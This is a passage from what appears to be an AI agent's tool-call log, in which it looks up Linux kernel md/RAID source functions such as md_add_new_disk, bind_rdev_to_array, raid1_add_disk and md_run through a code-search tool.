8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 134/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 72567
output: 25
thoughts: 0
|
| 135/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_add_new_disk]
Results: map[SourceCode:7489: int md_add_new_disk(struct mddev *mddev, struct mdu_disk_info_s *info)
7490: {
7491: struct md_rdev *rdev;
7492: dev_t dev = MKDEV(info->major,info->minor);
7493:
7494: if (mddev_is_clustered(mddev) &&
7495: !(info->state & ((1 << MD_DISK_CLUSTER_ADD) | (1 << MD_DISK_CANDIDATE)))) {
7496: pr_warn("%s: Cannot add to clustered mddev.\n",
7497: mdname(mddev));
7498: return -EINVAL;
7499: }
7500:
7501: if (info->major != MAJOR(dev) || info->minor != MINOR(dev))
7502: return -EOVERFLOW;
7503:
7504: if (!mddev->raid_disks) {
7505: int err;
7506: /* expecting a device which has a superblock */
7507: rdev = md_import_device(dev, mddev->major_version, mddev->minor_version);
7508: if (IS_ERR(rdev)) {
7509: pr_warn("md: md_import_device returned %ld\n",
7510: PTR_ERR(rdev));
7511: return PTR_ERR(rdev);
7512: }
7513: if (!list_empty(&mddev->disks)) {
7514: struct md_rdev *rdev0
7515: = list_entry(mddev->disks.next,
7516: struct md_rdev, same_set);
7517: err = super_types[mddev->major_version]
7518: .load_super(rdev, rdev0, mddev->minor_version);
7519: if (err < 0) {
7520: pr_warn("md: %pg has different UUID to %pg\n",
7521: rdev->bdev,
7522: rdev0->bdev);
7523: export_rdev(rdev);
7524: return -EINVAL;
7525: }
7526: }
7527: err = bind_rdev_to_array(rdev, mddev);
7528: if (err)
7529: export_rdev(rdev);
7530: return err;
7531: }
7532:
7533: /*
7534: * md_add_new_disk can be used once the array is assembled
7535: * to add "hot spares". They must already have a superblock
7536: * written
7537: */
7538: if (mddev->pers) {
7539: int err;
7540: if (!mddev->pers->hot_add_disk) {
7541: pr_warn("%s: personality does not support diskops!\n",
7542: mdname(mddev));
7543: return -EINVAL;
7544: }
7545: if (mddev->persistent)
7546: rdev = md_import_device(dev, mddev->major_version,
7547: mddev->minor_version);
7548: else
7549: rdev = md_import_device(dev, -1, -1);
7550: if (IS_ERR(rdev)) {
7551: pr_warn("md: md_import_device returned %ld\n",
7552: PTR_ERR(rdev));
7553: return PTR_ERR(rdev);
7554: }
7555: /* set saved_raid_disk if appropriate */
7556: if (!mddev->persistent) {
7557: if (info->state & (1<<MD_DISK_SYNC) &&
7558: info->raid_disk < mddev->raid_disks) {
7559: rdev->raid_disk = info->raid_disk;
7560: clear_bit(Bitmap_sync, &rdev->flags);
7561: } else
7562: rdev->raid_disk = -1;
7563: rdev->saved_raid_disk = rdev->raid_disk;
7564: } else
7565: super_types[mddev->major_version].
7566: validate_super(mddev, NULL/*freshest*/, rdev);
7567: if ((info->state & (1<<MD_DISK_SYNC)) &&
7568: rdev->raid_disk != info->raid_disk) {
7569: /* This was a hot-add request, but events doesn't
7570: * match, so reject it.
7571: */
7572: export_rdev(rdev);
7573: return -EINVAL;
7574: }
7575:
7576: clear_bit(In_sync, &rdev->flags); /* just to be sure */
7577: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7578: set_bit(WriteMostly, &rdev->flags);
7579: else
7580: clear_bit(WriteMostly, &rdev->flags);
7581: if (info->state & (1<<MD_DISK_FAILFAST))
7582: set_bit(FailFast, &rdev->flags);
7583: else
7584: clear_bit(FailFast, &rdev->flags);
7585:
7586: if (info->state & (1<<MD_DISK_JOURNAL)) {
7587: struct md_rdev *rdev2;
7588: bool has_journal = false;
7589:
7590: /* make sure no existing journal disk */
7591: rdev_for_each(rdev2, mddev) {
7592: if (test_bit(Journal, &rdev2->flags)) {
7593: has_journal = true;
7594: break;
7595: }
7596: }
7597: if (has_journal || mddev->bitmap) {
7598: export_rdev(rdev);
7599: return -EBUSY;
7600: }
7601: set_bit(Journal, &rdev->flags);
7602: }
7603: /*
7604: * check whether the device shows up in other nodes
7605: */
7606: if (mddev_is_clustered(mddev)) {
7607: if (info->state & (1 << MD_DISK_CANDIDATE))
7608: set_bit(Candidate, &rdev->flags);
7609: else if (info->state & (1 << MD_DISK_CLUSTER_ADD)) {
7610: /* --add initiated by this node */
7611: err = mddev->cluster_ops->add_new_disk(mddev, rdev);
7612: if (err) {
7613: export_rdev(rdev);
7614: return err;
7615: }
7616: }
7617: }
7618:
7619: rdev->raid_disk = -1;
7620: err = bind_rdev_to_array(rdev, mddev);
7621:
7622: if (err)
7623: export_rdev(rdev);
7624:
7625: if (mddev_is_clustered(mddev)) {
7626: if (info->state & (1 << MD_DISK_CANDIDATE)) {
7627: if (!err) {
7628: err = mddev->cluster_ops->new_disk_ack(
7629: mddev, err == 0);
7630: if (err)
7631: md_kick_rdev_from_array(rdev);
7632: }
7633: } else {
7634: if (err)
7635: mddev->cluster_ops->add_new_disk_cancel(mddev);
7636: else
7637: err = add_bound_rdev(rdev);
7638: }
7639:
7640: } else if (!err)
7641: err = add_bound_rdev(rdev);
7642:
7643: return err;
7644: }
7645:
7646: /* otherwise, md_add_new_disk is only allowed
7647: * for major_version==0 superblocks
7648: */
7649: if (mddev->major_version != 0) {
7650: pr_warn("%s: ADD_NEW_DISK not supported\n", mdname(mddev));
7651: return -EINVAL;
7652: }
7653:
7654: if (!(info->state & (1<<MD_DISK_FAULTY))) {
7655: int err;
7656: rdev = md_import_device(dev, -1, 0);
7657: if (IS_ERR(rdev)) {
7658: pr_warn("md: error, md_import_device() returned %ld\n",
7659: PTR_ERR(rdev));
7660: return PTR_ERR(rdev);
7661: }
7662: rdev->desc_nr = info->number;
7663: if (info->raid_disk < mddev->raid_disks)
7664: rdev->raid_disk = info->raid_disk;
7665: else
7666: rdev->raid_disk = -1;
7667:
7668: if (rdev->raid_disk < mddev->raid_disks)
7669: if (info->state & (1<<MD_DISK_SYNC))
7670: set_bit(In_sync, &rdev->flags);
7671:
7672: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7673: set_bit(WriteMostly, &rdev->flags);
7674: if (info->state & (1<<MD_DISK_FAILFAST))
7675: set_bit(FailFast, &rdev->flags);
7676:
7677: if (!mddev->persistent) {
7678: pr_debug("md: nonpersistent superblock ...\n");
7679: rdev->sb_start = bdev_nr_sectors(rdev->bdev);
7680: } else
7681: rdev->sb_start = calc_dev_sboffset(rdev);
7682: rdev->sectors = rdev->sb_start;
7683:
7684: err = bind_rdev_to_array(rdev, mddev);
7685: if (err) {
7686: export_rdev(rdev);
7687: return err;
7688: }
7689: }
7690:
7691: return 0;
7692: }
SourceFile:drivers/md/md.c]
|
| 136/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 75790
output: 26
thoughts: 0
|
| 137/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args: map[Name:bind_rdev_to_array]
Results: map[SourceCode:2560: static int bind_rdev_to_array(struct md_rdev *rdev, struct mddev *mddev)
2561: {
2562: char b[BDEVNAME_SIZE];
2563: int err;
2564:
2565: /* prevent duplicates */
2566: if (find_rdev(mddev, rdev->bdev->bd_dev))
2567: return -EEXIST;
2568:
2569: if (rdev_read_only(rdev) && mddev->pers)
2570: return -EROFS;
2571:
2572: /* make sure rdev->sectors exceeds mddev->dev_sectors */
2573: if (!test_bit(Journal, &rdev->flags) &&
2574: rdev->sectors &&
2575: (mddev->dev_sectors == 0 || rdev->sectors < mddev->dev_sectors)) {
2576: if (mddev->pers) {
2577: /* Cannot change size, so fail
2578: * If mddev->level <= 0, then we don't care
2579: * about aligning sizes (e.g. linear)
2580: */
2581: if (mddev->level > 0)
2582: return -ENOSPC;
2583: } else
2584: mddev->dev_sectors = rdev->sectors;
2585: }
2586:
2587: /* Verify rdev->desc_nr is unique.
2588: * If it is -1, assign a free number, else
2589: * check number is not in use
2590: */
2591: rcu_read_lock();
2592: if (rdev->desc_nr < 0) {
2593: int choice = 0;
2594: if (mddev->pers)
2595: choice = mddev->raid_disks;
2596: while (md_find_rdev_nr_rcu(mddev, choice))
2597: choice++;
2598: rdev->desc_nr = choice;
2599: } else {
2600: if (md_find_rdev_nr_rcu(mddev, rdev->desc_nr)) {
2601: rcu_read_unlock();
2602: return -EBUSY;
2603: }
2604: }
2605: rcu_read_unlock();
2606: if (!test_bit(Journal, &rdev->flags) &&
2607: mddev->max_disks && rdev->desc_nr >= mddev->max_disks) {
2608: pr_warn("md: %s: array is limited to %d devices\n",
2609: mdname(mddev), mddev->max_disks);
2610: return -EBUSY;
2611: }
2612: snprintf(b, sizeof(b), "%pg", rdev->bdev);
2613: strreplace(b, '/', '!');
2614:
2615: rdev->mddev = mddev;
2616: pr_debug("md: bind<%s>\n", b);
2617:
2618: if (mddev->raid_disks)
2619: mddev_create_serial_pool(mddev, rdev);
2620:
2621: if ((err = kobject_add(&rdev->kobj, &mddev->kobj, "dev-%s", b)))
2622: goto fail;
2623:
2624: /* failure here is OK */
2625: err = sysfs_create_link(&rdev->kobj, bdev_kobj(rdev->bdev), "block");
2626: rdev->sysfs_state = sysfs_get_dirent_safe(rdev->kobj.sd, "state");
2627: rdev->sysfs_unack_badblocks =
2628: sysfs_get_dirent_safe(rdev->kobj.sd, "unacknowledged_bad_blocks");
2629: rdev->sysfs_badblocks =
2630: sysfs_get_dirent_safe(rdev->kobj.sd, "bad_blocks");
2631:
2632: list_add_rcu(&rdev->same_set, &mddev->disks);
2633: bd_link_disk_holder(rdev->bdev, mddev->gendisk);
2634:
2635: return 0;
2636:
2637: fail:
2638: pr_warn("md: failed to register dev-%s for %s\n",
2639: b, mdname(mddev));
2640: mddev_destroy_serial_pool(mddev, rdev);
2641: return err;
2642: }
SourceFile:drivers/md/md.c]
|
| 138/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 77223
output: 24
thoughts: 0
|
| 139/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:2984: static int add_bound_rdev(struct md_rdev *rdev)
2985: {
2986: struct mddev *mddev = rdev->mddev;
2987: int err = 0;
2988: bool add_journal = test_bit(Journal, &rdev->flags);
2989:
2990: if (!mddev->pers->hot_remove_disk || add_journal) {
2991: /* If there is hot_add_disk but no hot_remove_disk
2992: * then added disks for geometry changes,
2993: * and should be added immediately.
2994: */
2995: super_types[mddev->major_version].
2996: validate_super(mddev, NULL/*freshest*/, rdev);
2997: err = mddev->pers->hot_add_disk(mddev, rdev);
2998: if (err) {
2999: md_kick_rdev_from_array(rdev);
3000: return err;
3001: }
3002: }
3003: sysfs_notify_dirent_safe(rdev->sysfs_state);
3004:
3005: set_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags);
3006: if (mddev->degraded)
3007: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
3008: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
3009: md_new_event();
3010: return 0;
3011: }
SourceFile:drivers/md/md.c]
|
| 140/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 77742
output: 24
thoughts: 0
|
| 141/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1901: static int raid1_add_disk(struct mddev *mddev, struct md_rdev *rdev)
1902: {
1903: struct r1conf *conf = mddev->private;
1904: int err = -EEXIST;
1905: int mirror = 0, repl_slot = -1;
1906: struct raid1_info *p;
1907: int first = 0;
1908: int last = conf->raid_disks - 1;
1909:
1910: if (rdev->raid_disk >= 0)
1911: first = last = rdev->raid_disk;
1912:
1913: /*
1914: * find the disk ... but prefer rdev->saved_raid_disk
1915: * if possible.
1916: */
1917: if (rdev->saved_raid_disk >= 0 &&
1918: rdev->saved_raid_disk >= first &&
1919: rdev->saved_raid_disk < conf->raid_disks &&
1920: conf->mirrors[rdev->saved_raid_disk].rdev == NULL)
1921: first = last = rdev->saved_raid_disk;
1922:
1923: for (mirror = first; mirror <= last; mirror++) {
1924: p = conf->mirrors + mirror;
1925: if (!p->rdev) {
1926: err = mddev_stack_new_rdev(mddev, rdev);
1927: if (err)
1928: return err;
1929:
1930: raid1_add_conf(conf, rdev, mirror, false);
1931: /* As all devices are equivalent, we don't need a full recovery
1932: * if this was recently any drive of the array
1933: */
1934: if (rdev->saved_raid_disk < 0)
1935: conf->fullsync = 1;
1936: break;
1937: }
1938: if (test_bit(WantReplacement, &p->rdev->flags) &&
1939: p[conf->raid_disks].rdev == NULL && repl_slot < 0)
1940: repl_slot = mirror;
1941: }
1942:
1943: if (err && repl_slot >= 0) {
1944: /* Add this device as a replacement */
1945: clear_bit(In_sync, &rdev->flags);
1946: set_bit(Replacement, &rdev->flags);
1947: raid1_add_conf(conf, rdev, repl_slot, true);
1948: err = 0;
1949: conf->fullsync = 1;
1950: }
1951:
1952: print_conf(conf);
1953: return err;
1954: }
SourceFile:drivers/md/raid1.c]
|
| 142/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 78637
output: 24
thoughts: 0
|
| 143/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1856: static bool raid1_add_conf(struct r1conf *conf, struct md_rdev *rdev, int disk,
1857: bool replacement)
1858: {
1859: struct raid1_info *info = conf->mirrors + disk;
1860:
1861: if (replacement)
1862: info += conf->raid_disks;
1863:
1864: if (info->rdev)
1865: return false;
1866:
1867: if (!bdev_rot(rdev->bdev)) {
1868: set_bit(Nonrot, &rdev->flags);
1869: WRITE_ONCE(conf->nonrot_disks, conf->nonrot_disks + 1);
1870: }
1871:
1872: rdev->raid_disk = disk;
1873: info->head_position = 0;
1874: info->seq_start = MaxSector;
1875: WRITE_ONCE(info->rdev, rdev);
1876:
1877: return true;
1878: }
SourceFile:drivers/md/raid1.c]
|
| 144/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 79020
output: 28
thoughts: 0
|
| 145/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_kick_rdev_from_array]
Results: map[SourceCode:2662: static void md_kick_rdev_from_array(struct md_rdev *rdev)
2663: {
2664: struct mddev *mddev = rdev->mddev;
2665:
2666: bd_unlink_disk_holder(rdev->bdev, rdev->mddev->gendisk);
2667: list_del_rcu(&rdev->same_set);
2668: pr_debug("md: unbind<%pg>\n", rdev->bdev);
2669: mddev_destroy_serial_pool(rdev->mddev, rdev);
2670: WRITE_ONCE(rdev->mddev, NULL);
2671: sysfs_remove_link(&rdev->kobj, "block");
2672: sysfs_put(rdev->sysfs_state);
2673: sysfs_put(rdev->sysfs_unack_badblocks);
2674: sysfs_put(rdev->sysfs_badblocks);
2675: rdev->sysfs_state = NULL;
2676: rdev->sysfs_unack_badblocks = NULL;
2677: rdev->sysfs_badblocks = NULL;
2678: rdev->badblocks.count = 0;
2679:
2680: synchronize_rcu();
2681:
2682: /*
2683: * kobject_del() will wait for all in progress writers to be done, where
2684: * reconfig_mutex is held, hence it can't be called under
2685: * reconfig_mutex and it's delayed to mddev_unlock().
2686: */
2687: list_add(&rdev->same_set, &mddev->deleting);
2688: }
SourceFile:drivers/md/md.c]
|
| 146/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 79573
output: 26
thoughts: 0
|
| 147/2 |
2026/08/26 10:38 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_destroy_serial_pool]
Results: map[SourceCode: 264: /*
265: * Free resource from rdev(s), and destroy serial_info_pool under conditions:
266: * 1. rdev is the last device flaged with CollisionCheck.
267: * 2. when bitmap is destroyed while policy is not enabled.
268: * 3. for disable policy, the pool is destroyed only when no rdev needs it.
269: */
270: void mddev_destroy_serial_pool(struct mddev *mddev, struct md_rdev *rdev)
271: {
272: if (rdev && !test_bit(CollisionCheck, &rdev->flags))
273: return;
274:
275: if (mddev->serial_info_pool) {
276: struct md_rdev *temp;
277: int num = 0; /* used to track if other rdevs need the pool */
278:
279: rdev_for_each(temp, mddev) {
280: if (!rdev) {
281: if (!test_bit(MD_SERIALIZE_POLICY,
282: &mddev->flags) ||
283: !rdev_need_serial(temp))
284: rdev_uninit_serial(temp);
285: else
286: num++;
287: } else if (temp != rdev &&
288: test_bit(CollisionCheck, &temp->flags))
289: num++;
290: }
291:
292: if (rdev)
293: rdev_uninit_serial(rdev);
294:
295: if (num)
296: pr_info("The mempool could be used by other devices\n");
297: else {
298: mempool_destroy(mddev->serial_info_pool);
299: mddev->serial_info_pool = NULL;
300: }
301: }
302: }
SourceFile:drivers/md/md.c]
|
| 148/2 |
2026/08/26 10:38 |
llm |
expert |
0m
Model:
Tokens:
input: 80216
output: 26
thoughts: 0
|
| 149/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_create_serial_pool]
Results: map[SourceCode: 228: /*
229: * Init resource for rdev(s), then create serial_info_pool if:
230: * 1. rdev is the first device which return true from rdev_enable_serial.
231: * 2. rdev is NULL, means we want to enable serialization for all rdevs.
232: */
233: void mddev_create_serial_pool(struct mddev *mddev, struct md_rdev *rdev)
234: {
235: int ret = 0;
236: unsigned int noio_flags;
237:
238: if (!test_bit(MD_SERIALIZE_POLICY, &mddev->flags) &&
239: rdev && !rdev_need_serial(rdev) &&
240: !test_bit(CollisionCheck, &rdev->flags))
241: return;
242:
243: noio_flags = memalloc_noio_save();
244: if (!rdev)
245: ret = rdevs_init_serial(mddev);
246: else
247: ret = rdev_init_serial(rdev);
248: if (ret)
249: goto out;
250:
251: if (mddev->serial_info_pool == NULL) {
252: mddev->serial_info_pool =
253: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
254: sizeof(struct serial_info));
255: if (!mddev->serial_info_pool) {
256: rdevs_uninit_serial(mddev);
257: pr_err("can't alloc memory pool for serialization\n");
258: }
259: }
260: out:
261: memalloc_noio_restore(noio_flags);
262: }
SourceFile:drivers/md/md.c]
|
| 150/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 80828
output: 23
thoughts: 0
|
| 151/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_import_device]
Results: map[SourceCode:3820: /*
3821: * Import a device. If 'super_format' >= 0, then sanity check the superblock
3822: *
3823: * mark the device faulty if:
3824: *
3825: * - the device is nonexistent (zero size)
3826: * - the device has no valid superblock
3827: *
3828: * a faulty rdev _never_ has rdev->sb set.
3829: */
3830: static struct md_rdev *md_import_device(dev_t newdev, int super_format, int super_minor)
3831: {
3832: struct md_rdev *rdev;
3833: sector_t size;
3834: int err;
3835:
3836: rdev = kzalloc_obj(*rdev);
3837: if (!rdev)
3838: return ERR_PTR(-ENOMEM);
3839:
3840: err = md_rdev_init(rdev);
3841: if (err)
3842: goto out_free_rdev;
3843: err = alloc_disk_sb(rdev);
3844: if (err)
3845: goto out_clear_rdev;
3846:
3847: rdev->bdev_file = bdev_file_open_by_dev(newdev,
3848: BLK_OPEN_READ | BLK_OPEN_WRITE,
3849: super_format == -2 ? &claim_rdev : rdev, NULL);
3850: if (IS_ERR(rdev->bdev_file)) {
3851: pr_warn("md: could not open device unknown-block(%u,%u).\n",
3852: MAJOR(newdev), MINOR(newdev));
3853: err = PTR_ERR(rdev->bdev_file);
3854: goto out_clear_rdev;
3855: }
3856: rdev->bdev = file_bdev(rdev->bdev_file);
3857:
3858: kobject_init(&rdev->kobj, &rdev_ktype);
3859:
3860: size = bdev_nr_bytes(rdev->bdev) >> BLOCK_SIZE_BITS;
3861: if (!size) {
3862: pr_warn("md: %pg has zero or unknown size, marking faulty!\n",
3863: rdev->bdev);
3864: err = -EINVAL;
3865: goto out_blkdev_put;
3866: }
3867:
3868: if (super_format >= 0) {
3869: err = super_types[super_format].
3870: load_super(rdev, NULL, super_minor);
3871: if (err == -EINVAL) {
3872: pr_warn("md: %pg does not have a valid v%d.%d superblock, not importing!\n",
3873: rdev->bdev,
3874: super_format, super_minor);
3875: goto out_blkdev_put;
3876: }
3877: if (err < 0) {
3878: pr_warn("md: could not read %pg's sb, not importing!\n",
3879: rdev->bdev);
3880: goto out_blkdev_put;
3881: }
3882: }
3883:
3884: return rdev;
3885:
3886: out_blkdev_put:
3887: fput(rdev->bdev_file);
3888: out_clear_rdev:
3889: md_rdev_clear(rdev);
3890: out_free_rdev:
3891: kfree(rdev);
3892: return ERR_PTR(err);
3893: }
SourceFile:drivers/md/md.c]
|
| 152/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 82005
output: 24
thoughts: 0
|
| 153/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3793: int md_rdev_init(struct md_rdev *rdev)
3794: {
3795: rdev->desc_nr = -1;
3796: rdev->saved_raid_disk = -1;
3797: rdev->raid_disk = -1;
3798: rdev->flags = 0;
3799: rdev->data_offset = 0;
3800: rdev->new_data_offset = 0;
3801: rdev->sb_events = 0;
3802: rdev->last_read_error = 0;
3803: rdev->sb_loaded = 0;
3804: rdev->bb_page = NULL;
3805: atomic_set(&rdev->nr_pending, 0);
3806: atomic_set(&rdev->read_errors, 0);
3807: atomic_set(&rdev->corrected_errors, 0);
3808:
3809: INIT_LIST_HEAD(&rdev->same_set);
3810: init_waitqueue_head(&rdev->blocked_wait);
3811:
3812: /* Add space to store bad block list.
3813: * This reserves the space even on arrays where it cannot
3814: * be used - I wonder if that matters
3815: */
3816: return badblocks_init(&rdev->badblocks, 0);
3817: }
SourceFile:drivers/md/md.c]
|
| 154/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 82470
output: 24
thoughts: 0
|
| 155/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1075: void md_rdev_clear(struct md_rdev *rdev)
1076: {
1077: if (rdev->sb_page) {
1078: put_page(rdev->sb_page);
1079: rdev->sb_loaded = 0;
1080: rdev->sb_page = NULL;
1081: rdev->sb_start = 0;
1082: rdev->sectors = 0;
1083: }
1084: if (rdev->bb_page) {
1085: put_page(rdev->bb_page);
1086: rdev->bb_page = NULL;
1087: }
1088: badblocks_exit(&rdev->badblocks);
1089: }
SourceFile:drivers/md/md.c]
|
| 156/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 82749
output: 23
thoughts: 0
|
| 157/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1067: static int alloc_disk_sb(struct md_rdev *rdev)
1068: {
1069: rdev->sb_page = alloc_page(GFP_KERNEL);
1070: if (!rdev->sb_page)
1071: return -ENOMEM;
1072: return 0;
1073: }
SourceFile:drivers/md/md.c]
|
| 158/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 82904
output: 23
thoughts: 0
|
| 159/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6875: int do_md_run(struct mddev *mddev)
6876: {
6877: int err;
6878:
6879: set_bit(MD_NOT_READY, &mddev->flags);
6880: err = md_run(mddev);
6881: if (err)
6882: goto out;
6883:
6884: if (md_bitmap_registered(mddev)) {
6885: err = mddev->bitmap_ops->load(mddev);
6886: if (err) {
6887: md_bitmap_destroy(mddev);
6888: goto out;
6889: }
6890: }
6891:
6892: if (mddev_is_clustered(mddev))
6893: md_allow_write(mddev);
6894:
6895: /* run start up tasks that require md_thread */
6896: md_start(mddev);
6897:
6898: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
6899:
6900: set_capacity_and_notify(mddev->gendisk, mddev->array_sectors);
6901: clear_bit(MD_NOT_READY, &mddev->flags);
6902: mddev->changed = 1;
6903: kobject_uevent(&disk_to_dev(mddev->gendisk)->kobj, KOBJ_CHANGE);
6904: sysfs_notify_dirent_safe(mddev->sysfs_state);
6905: sysfs_notify_dirent_safe(mddev->sysfs_action);
6906: sysfs_notify_dirent_safe(mddev->sysfs_degraded);
6907: out:
6908: clear_bit(MD_NOT_READY, &mddev->flags);
6909: return err;
6910: }
SourceFile:drivers/md/md.c]
|
| 160/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 83512
output: 21
thoughts: 0
|
| 161/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6650: int md_run(struct mddev *mddev)
6651: {
6652: int err;
6653: struct md_rdev *rdev;
6654: struct md_personality *pers;
6655:
6656: if (list_empty(&mddev->disks))
6657: /* cannot run an array with no devices.. */
6658: return -EINVAL;
6659:
6660: if (mddev->pers)
6661: return -EBUSY;
6662: /* Cannot run until previous stop completes properly */
6663: if (mddev->sysfs_active)
6664: return -EBUSY;
6665:
6666: /*
6667: * Analyze all RAID superblock(s)
6668: */
6669: if (!mddev->raid_disks) {
6670: if (!mddev->persistent)
6671: return -EINVAL;
6672: err = analyze_sbs(mddev);
6673: if (err)
6674: return -EINVAL;
6675: }
6676:
6677: if (mddev->level != LEVEL_NONE)
6678: request_module("md-level-%d", mddev->level);
6679: else if (mddev->clevel[0])
6680: request_module("md-%s", mddev->clevel);
6681:
6682: /*
6683: * Drop all container device buffers, from now on
6684: * the only valid external interface is through the md
6685: * device.
6686: */
6687: clear_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6688: rdev_for_each(rdev, mddev) {
6689: if (test_bit(Faulty, &rdev->flags))
6690: continue;
6691: sync_blockdev(rdev->bdev);
6692: invalidate_bdev(rdev->bdev);
6693: if (mddev->ro != MD_RDONLY && rdev_read_only(rdev)) {
6694: mddev->ro = MD_RDONLY;
6695: if (!mddev_is_dm(mddev))
6696: set_disk_ro(mddev->gendisk, 1);
6697: }
6698:
6699: if (rdev->sb_page)
6700: set_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6701:
6702: /* perform some consistency tests on the device.
6703: * We don't want the data to overlap the metadata,
6704: * Internal Bitmap issues have been handled elsewhere.
6705: */
6706: if (rdev->meta_bdev) {
6707: /* Nothing to check */;
6708: } else if (rdev->data_offset < rdev->sb_start) {
6709: if (mddev->dev_sectors &&
6710: rdev->data_offset + mddev->dev_sectors
6711: > rdev->sb_start) {
6712: pr_warn("md: %s: data overlaps metadata\n",
6713: mdname(mddev));
6714: return -EINVAL;
6715: }
6716: } else {
6717: if (rdev->sb_start + rdev->sb_size/512
6718: > rdev->data_offset) {
6719: pr_warn("md: %s: metadata overlaps data\n",
6720: mdname(mddev));
6721: return -EINVAL;
6722: }
6723: }
6724: sysfs_notify_dirent_safe(rdev->sysfs_state);
6725: }
6726:
6727: pers = get_pers(mddev->level, mddev->clevel);
6728: if (!pers)
6729: return -EINVAL;
6730: if (mddev->level != pers->head.id) {
6731: mddev->level = pers->head.id;
6732: mddev->new_level = pers->head.id;
6733: }
6734: strscpy(mddev->clevel, pers->head.name, sizeof(mddev->clevel));
6735:
6736: if (mddev->reshape_position != MaxSector &&
6737: pers->start_reshape == NULL) {
6738: /* This personality cannot handle reshaping... */
6739: put_pers(pers);
6740: return -EINVAL;
6741: }
6742:
6743: if (pers->sync_request) {
6744: /* Warn if this is a potentially silly
6745: * configuration.
6746: */
6747: struct md_rdev *rdev2;
6748: int warned = 0;
6749:
6750: rdev_for_each(rdev, mddev)
6751: rdev_for_each(rdev2, mddev) {
6752: if (rdev < rdev2 &&
6753: rdev->bdev->bd_disk ==
6754: rdev2->bdev->bd_disk) {
6755: pr_warn("%s: WARNING: %pg appears to be on the same physical disk as %pg.\n",
6756: mdname(mddev),
6757: rdev->bdev,
6758: rdev2->bdev);
6759: warned = 1;
6760: }
6761: }
6762:
6763: if (warned)
6764: pr_warn("True protection against single-disk failure might be compromised.\n");
6765: }
6766:
6767: /* dm-raid expect sync_thread to be frozen until resume */
6768: if (!mddev_is_dm(mddev))
6769: mddev->recovery = 0;
6770:
6771: /* may be over-ridden by personality */
6772: mddev->resync_max_sectors = mddev->dev_sectors;
6773:
6774: mddev->ok_start_degraded = start_dirty_degraded;
6775:
6776: if (start_readonly && md_is_rdwr(mddev))
6777: mddev->ro = MD_AUTO_READ; /* read-only, but switch on first write */
6778:
6779: err = pers->run(mddev);
6780: if (err)
6781: pr_warn("md: pers->run() failed ...\n");
6782: else if (pers->size(mddev, 0, 0) < mddev->array_sectors) {
6783: WARN_ONCE(!mddev->external_size,
6784: "%s: default size too small, but 'external_size' not in effect?\n",
6785: __func__);
6786: pr_warn("md: invalid array_size %llu > default size %llu\n",
6787: (unsigned long long)mddev->array_sectors / 2,
6788: (unsigned long long)pers->size(mddev, 0, 0) / 2);
6789: err = -EINVAL;
6790: }
6791: if (err == 0 && pers->sync_request &&
6792: (mddev->bitmap_info.file || mddev->bitmap_info.offset)) {
6793: err = md_bitmap_create(mddev);
6794: if (err)
6795: pr_warn("%s: failed to create bitmap (%d)\n",
6796: mdname(mddev), err);
6797: }
6798: if (err)
6799: goto bitmap_abort;
6800:
6801: if (mddev->bitmap_info.max_write_behind > 0) {
6802: bool create_pool = false;
6803:
6804: rdev_for_each(rdev, mddev) {
6805: if (test_bit(WriteMostly, &rdev->flags) &&
6806: rdev_init_serial(rdev))
6807: create_pool = true;
6808: }
6809: if (create_pool && mddev->serial_info_pool == NULL) {
6810: mddev->serial_info_pool =
6811: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
